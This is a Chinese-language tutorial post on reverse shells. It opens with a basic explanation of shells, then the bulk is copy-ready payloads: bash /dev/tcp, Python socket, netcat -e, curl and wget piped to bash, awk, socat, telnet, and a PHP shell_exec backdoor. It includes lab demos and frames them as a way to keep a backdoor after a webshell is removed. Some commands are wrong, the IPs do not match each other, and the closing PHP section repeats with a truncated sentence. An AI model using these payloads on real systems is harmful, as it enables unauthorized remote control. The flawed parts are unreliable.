文章目录
反弹shell详细易懂讲解,看这一篇就够了
一: 基础shell知识
什么是shell,bash与shell的区别?
bash就是shell的众多小弟中的一个,Shell 是操作系统中提供用户与内核之间交互的一种界面,一个 解释型的程序设计语言,它的小弟有很多,它既可以是图形用户界面(GUI),也可以是命令行界面(CLI)。Shell 主要用于接受用户输入的命令并将其传递给操作系统的内核执行,同时将内核的输出结果返回给用户。
Shell 就像是计算机的“翻译官”,它让我们能够用人类的语言告诉计算机该做什么。我们输入命令,Shell 就把这些命令翻译给计算机内核,让它执行,然后再把结果反馈给我们。
通俗解释
想象一下,你是一个大厨(用户),你有很多食材(计算机资源)和厨房用具(硬件和软件),但你需要一个助手(Shell)来帮你完成具体的操作。
-
命令行界面 (CLI) Shell:就像是你和助手面对面交流。你告诉助手要做什么(比如“切洋葱”),助手按照你的指令去做。
- 你说:“显示所有文件。”(输入
ls
命令) - 助手展示文件列表给你看。
- 你说:“显示所有文件。”(输入
-
图形用户界面 (GUI) Shell:就像你在厨房里用菜单和按钮控制助手。比如,你按下一个按钮,助手帮你打开烤箱。
举例子
假设你想整理房间(操作计算机文件):
- 你告诉助手:“把书移到书架上。”(输入
mv book.txt /books
命令) - 助手就会帮你把书移到书架上(把文件移动到指定目录)。
Shell 其实就是你和计算机沟通的桥梁,帮助你更方便地控制和管理计算机。
类型
-
命令行界面 (CLI) Shell:
- Bash(Bourne Again Shell):最常见的 Unix/Linux Shell,功能强大,广泛使用。
- Sh(Bourne Shell):较老的 Shell,Bash 的前身。
- Zsh(Z Shell):类似于 Bash,但有更多的功能和可配置性。
- Csh(C Shell):语法类似于 C 语言,有些特性与其他 Shell 不同。
- Ksh(Korn Shell):综合了很多其他 Shell 的特性。
-
图形用户界面 (GUI) Shell:
- Windows Explorer:Windows 操作系统中的默认图形界面。
- GNOME Shell:Linux 系统中 GNOME 桌面环境的图形界面。
- KDE Plasma:Linux 系统中 KDE 桌面环境的图形界面。
功能
- 命令解释:将用户输入的命令解释并传递给操作系统执行。
- 脚本编写:用户可以编写脚本文件,以批处理的方式执行一系列命令。
- 环境管理:提供环境变量管理和配置的功能。
- 任务控制:允许用户启动、停止、挂起和管理任务。
常见命令
- 文件操作:如
ls
、cp
、mv
、rm
等。 - 系统信息:如
uname
、df
、top
、ps
等。 - 网络操作:如
ping
、netstat
、ssh
等。 - 文本处理:如
cat
、grep
、awk
、sed
等。
二: 什么是反弹shell
通常情况下,shell 是指你通过命令行直接控制一台计算机。但在反弹 shell 的情况下,目标计算机主动连接到攻击者的计算机,从而绕过防火墙和其他安全措施
为什么要反弹Shell
反弹Shell通常用于以下情形:被控端因防火墙受限、权限不足、端口被占用等。通过反弹Shell,攻击者可以绕过这些限制,实现对目标系统的控制。
假设我们攻击了一台机器,并在该机器上打开了一个端口,攻击者可以在自己的机器上连接目标机器(目标IP:目标端口),这是一种常规的正向连接形式,如远程桌面、Web服务、SSH、Telnet等。
正向连接失效的情况
在以下情况下,正向连接可能无法使用:
- 客户机在局域网内,攻击者无法直接连接。
- 目标机器的IP动态改变,无法持续控制。
- 由于防火墙限制,目标机器只能发送请求,不能接收请求。
- 对于病毒、木马等恶意软件,受害者何时中招、网络环境、开关机时间等情况都是未知的。
- Webshell下执行命令不交互,为了提权或进行其它操作,必须反弹Shell。
- 为了提权或执行其它操作,需要一个反弹 shell 作为后门,即使 webshell 被发现删除,也能保持控制权。
让受害者主机主动连接攻击者的服务端,才是好方法
三: 反弹shell类型
bash反弹shell
Netcat是一个功能强大的网络工具,可以用来创建反弹Shell。
-
目标机器(被控机器)执行以下命令:
/bin/bash -i >& /dev/tcp/攻击者IP/攻击者端口 0>&1
解释:
/bin/bash -i
:启动一个交互式的Bash Shell。>& /dev/tcp/攻击者IP/攻击者端口
:将Bash的标准输入、标准输出和标准错误重定向到攻击者的IP和端口。/dev/tcp/
:Linux中的一个特殊文件, 打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。Socket(套接字)
:计算机网络中用于通信的一种机制,允许两台设备(例如计算机或服务器)通过网络进行数据传输。Socket是网络编程的基础,广泛应用于客户端-服务器模型中,用于建立连接并进行数据交换。0>&1
:将标准输入重定向到标准输出。
-
攻击者机器上监听端口:
nc -lvp 攻击者端口
解释:
nc
:启动Netcat。-lvp
:监听模式、详细输出、指定端口。
扩展:如果目标机器上有Python环境,也可以使用Python脚本实现反弹Shell。
-
目标机器(被控机器)执行以下Python代码:
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",攻击者端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
-
攻击者机器上监听端口:
nc -lvp 攻击者端口
演示
攻击机(kali):10.73.127.154
目标机(centos): 10.73.127.144
先在攻击者机器上监听端口8888(随便那个端口都可以)
nc -lvp 8888
接着目标机执行bash命令,连接到攻击机
bash -i >& /dev/tcp/10.73.127.154/8888 0>&1
接着返回攻击机,执行一些命令
Netcat 一句话反弹
1.在攻击者机器上,继续监听某个端口即可
nc -lvp 攻击者端口
2.目标机,目标机要有nc。
nc 10.73.127.154. 8888 -e /bin/bash
使用 Netcat (nc) 工具建立一个 TCP 会话连接,将本地的 Bash Shell 通过这个会话反弹给目标主机 (192.168.31.151)。
nc
: 调用 Netcat 工具。Netcat 是一个功能强大的网络工具,可以用于读取和写入网络连接。10.73.127.154
: 指定攻击机的 IP 地址。此处表示攻击者8888
: 指定攻击机上的端口号。此处表示攻击者机器上监听的端口。-e /bin/bash
: 将本地的 Bash Shell 绑定到 Netcat 连接上。当连接建立时,目标主机上会运行 Bash Shell,从而使攻击者可以远程执行命令。
演示
1.攻击者机器上继续监听端口8888
2.目标机安装nc,如果安装nc提示:软件包 2:nmap-ncat-6.40-19.el7.x86_64 已安装并且是最新版本,无须任何处理,就需要手动安装NC,参考这篇文章 :centos7 安装NetCat - 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/181528383)
2.这里我还是用另一个kali作为目标机来演示,
nc 10.73.127.154 8888 -e /bin/bash
目标机
攻击机
curl反弹shell
curl
是一个命令行工具,用于向服务器发送请求和获取数据。在反弹 Shell 的场景中,curl
可以用来通过 HTTP 请求发送命令,并将命令的输出发送到攻击者的服务器。
1.在攻击者机器上,使用 Netcat 监听端口 8888
:
nc -lvp 8888
-l
:监听模式(listen)。-v
:详细模式(verbose)。-p
:指定端口(port)。
2.目标机器(发起连接)
在被控机器上,通过 Webshell 或其他方式执行以下 curl
命令:
curl -s -X POST http://10.73.127.154:8888 --data-binary @/bin/bash
-s
:静默模式(silent),不输出进度信息。-X POST
:指定 HTTP POST 方法。--data-binary @/bin/bash
:将/bin/bash
的输出作为二进制数据发送到攻击者服务器。
扩展:使用 Python 的 HTTP.server
作为监听服务器,(这个是错的!!!,看下面解释,并带正确姿势)
另一种方法是使用 Python 内置的 HTTP 服务器来监听端口并处理连接:
1.攻击者机器(使用 Python HTTP 服务器)
在攻击者机器上,运行以下命令启动 HTTP 服务器:
python3 -m http.server 8888
2.目标机器(发起连接)
在被控机器上,通过 Webshell 或其他方式执行以下 curl
命令:
curl http://10.73.127.154:8888 --output - | bash
--output -
:将响应输出到标准输出(即终端)。| bash
:将输出传递给 Bash 解释执行。
演示
1.攻击者机器上继续监听端口8888,这次用Python HTTP 服务器监听一下
python3 -m http.server 8888
2.目标机器发送 curl请求,就在这个时候出错了,
bash: 行 1: 未预期的记号 “newline” 附近有语法错误
bash: 行 1: `’
查了资料才知道
出现这个错误是因为使用了错误的方法来尝试通过 HTTP 请求传输 shell 命令。实际上,当访问一个 URL(例如,通过 curl
),它会返回 HTML 内容,而不是你期望的 shell 命令。这就是为什么你会看到 <!DOCTYPE HTML>
,这是一个 HTML 文件的开头标记。
正确姿势
如果使用 HTTP 来传输命令,可以使用一个简单的 Python HTTP 服务器来接受命令并执行。在攻击者机器上运行一个 Python 服务器脚本来处理传入的请求。
-
在攻击者机器上创建一个 Python 服务器脚本
创建一个名为
http_shell_server.py
的脚本:import http.server import socketserver import subprocessclass Handler(http.server.SimpleHTTPRequestHandler):def do_GET(self):command = self.path[1:] # Get the command from the URL pathtry:output = subprocess.check_output(command, shell=True)self.send_response(200)self.send_header("Content-type", "text/plain")self.end_headers()self.wfile.write(output)except subprocess.CalledProcessError as e:self.send_response(500)self.end_headers()self.wfile.write(str(e).encode())with socketserver.TCPServer(("", 8888), Handler) as httpd:print("serving at port", 8888)httpd.serve_forever()
启动这个服务器:
python3 http_shell_server.py
2.在被控机器上使用 curl 发送命令
在被控机器上,通过 Webshell 或其他方式执行以下命令:
curl http://10.73.127.154:8888/ls
这将向攻击者机器发送 HTTP 请求,并在 URL 中包含要执行的命令(例如
ls
)。攻击者机器上的 Python 服务器会接收这个命令并执行它,然后将输出返回给被控机器。
wget方式反弹
wget
是一个用于从 Web 服务器下载文件的命令行工具。在反弹 Shell 的场景中,wget
可以用来从攻击者的服务器下载一个恶意脚本,并在被控机器上执行该脚本,从而实现反弹 Shell。
1.攻击者机器(监听端口)
在攻击者机器上,使用 Netcat 监听端口 8888
:
nc -lvp 8888
2.创建恶意脚本
在攻击者机器上,创建一个名为 reverse_shell.sh
的脚本,内容如下:
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.73.127.154/8888 0>&1
将这个脚本放在攻击者的 Web 服务器上,使其可以通过 HTTP 访问。
3.被控机器(下载并执行脚本)
在被控机器上,通过 wget
下载并执行这个脚本:
wget -O - http://10.73.127.154/reverse_shell.sh | bash
-O -
:将下载的内容输出到标准输出。| bash
:将输出通过管道传递给bash
执行。
工作原理
-
攻击者机器:
- 启动 Netcat 监听端口,等待连接。
- 运行 Web 服务器,使
reverse_shell.sh
脚本可通过 HTTP 访问。
-
被控机器:
- 使用
wget
命令从攻击者的 Web 服务器下载reverse_shell.sh
脚本,并通过管道将其传递给bash
解释执行。 - 执行脚本后,被控机器的 Shell 将反弹到攻击者机器的 IP 和端口。
- 使用
演示
跟curl一样
awk反弹 Shell
awk
主要用于文本处理和数据提取,但也可以执行系统命令。我们可以利用这个特性,通过网络连接反弹一个 shell 到攻击者的机器。
攻击者机器(监听端口)
首先,在攻击者机器上使用 Netcat 监听端口 4444
:
nc -lvp 4444
被控机器(发起连接)
在被控机器上,通过 awk
命令反弹一个 shell:
awk 'BEGIN {s = "/inet/tcp/0/10.73.127.154/4444"; while (1) { do { printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c) }} close(s) }'
BEGIN { ... }
:awk
的BEGIN
块用于在处理任何输入数据之前执行一次。s = "/inet/tcp/0/192.168.31.151/4444"
:定义一个 TCP 连接到攻击者的 IP 和端口。while (1) { ... }
:一个无限循环,用于保持连接。printf "> " |& s
:将提示符>
发送到 TCP 连接。if ((s |& getline c) <= 0) break
:从连接中读取命令,如果读取失败则退出循环。while (c && (c |& getline) > 0) print $0 |& s
:执行从连接中读取的命令,并将输出发送回连接。close(c)
:关闭当前命令的输出。close(s)
:关闭 TCP 连接。
socat反弹 Shell
socat
可以创建 TCP 连接,并将本地 shell 的输入和输出重定向到该连接。通过这种方式,可以实现从被控机器反弹一个 shell 到攻击者的机器。
攻击者机器(监听端口)
socat -d -d TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash
-d -d
:启用详细调试输出。TCP-LISTEN:4444
:在端口4444
上监听 TCP 连接。reuseaddr
:允许重新使用本地地址。fork
:为每个新的连接创建一个子进程。EXEC:/bin/bash
:执行/bin/bash
,将其输入和输出重定向到连接。
被控机器(发起连接)
在被控机器上,通过 socat
命令反弹一个 shell 到攻击者机器:
socat TCP:10.73.127.154:4444 EXEC:/bin/bash
TCP:192.168.31.151:4444
:连接到攻击者机器的 IP 和端口。EXEC:/bin/bash
:执行/bin/bash
,将其输入和输出重定向到连接。
Telnet 反弹 Shell
Telnet 通常用于远程登录到远程服务器或设备,并执行命令。虽然 Telnet 本身不提供加密和身份验证,因此在安全意识强的环境中不建议使用它,但可以利用 Telnet 实现反弹 shell。
*在攻击者机器上监听端口
nc -lvp 4444
或者
telnet -l root -p 4444
在被控机器上发起连接
然后,在被控机器上,利用 Telnet 连接到攻击者机器的 IP 地址和监听的端口:
telnet <attackers_ip> 4444 | /bin/bash | telnet <attackers_ip> 4445
或者使用 Netcat:
nc -e /bin/bash <attackers_ip> 4444
<attackers_ip>
是攻击者机器的 IP 地址。
扩展
攻击机开启两个端口监听,一个用于输入命令,一个用于回显命令执行的结果
nc -l Your_cmd_Port
nc -l Your_result_Port
目标主机触发
telnet Your_IP Your_cmd_Port | /bin/bash | telnet Your_IP Your_result_Port
工控设备中,常常由 telnetd 程序,也可以利用其来开启正向的shell
目标主机开启监听
telnetd -p Your_Port -l /bin/sh
攻击主机正向连接
telnet Your_IP Your_Port
php反弹shell
工作原理
-
执行系统命令:
PHP 提供了执行系统命令的函数,如shell_exec()
或exec()
。攻击者可以在 PHP 脚本中利用这些函数执行系统命令。 -
建立反弹连接:
在 PHP 中,攻击者可以构造一个命令,使用 Bash 来建立一个反弹连接到攻击者控制的服务器。这通常通过利用 Bash 的/dev/tcp
特性来实现。该特性允许 Bash 将数据发送到远程服务器上的指定端口,从而建立一个 TCP 连接。 -
重定向输入和输出:
在反弹连接的命令中,攻击者会使用重定向符号>
和&
来将命令的输入和输出重定向到网络连接中。这样,攻击者就可以在控制服务器上获取目标服务器上执行命令的结果。
要将php保存成txt文件进行反弹,若为php文件不会反弹成功。
<?php
// 被攻击者主机的 IP 地址和端口
$attacker_ip = 'attackers_ip';
$attacker_port = 4444;// 执行反弹 shell 的命令
$command = "/bin/bash -c 'bash -i >& /dev/tcp/$attacker_ip/$attacker_port 0>&1'";// 执行命令,并将结果输出到 /dev/null,避免在 web 页面显示
shell_exec($command . " > /dev/null 2>&1 &");
?>
立一个反弹连接到攻击者控制的服务器。这通常通过利用 Bash 的 /dev/tcp
特性来实现。该特性允许 Bash 将数据发送到远程服务器上的指定端口,从而建立一个 TCP 连接。
- 重定向输入和输出:
在反弹连接的命令中,攻击者会使用重定向符号>
和&
来将命令的输入和输出重定向到网络连接中。这样,攻击者就可以在控制服务器上获取目标服务器上执行命令的结果。
要将php保存成txt文件进行反弹,若为php文件不会反弹成功。
<?php
// 被攻击者主机的 IP 地址和端口
$attacker_ip = 'attackers_ip';
$attacker_port = 4444;// 执行反弹 shell 的命令
$command = "/bin/bash -c 'bash -i >& /dev/tcp/$attacker_ip/$attacker_port 0>&1'";// 执行命令,并将结果输出到 /dev/null,避免在 web 页面显示
shell_exec($command . " > /dev/null 2>&1 &");
?>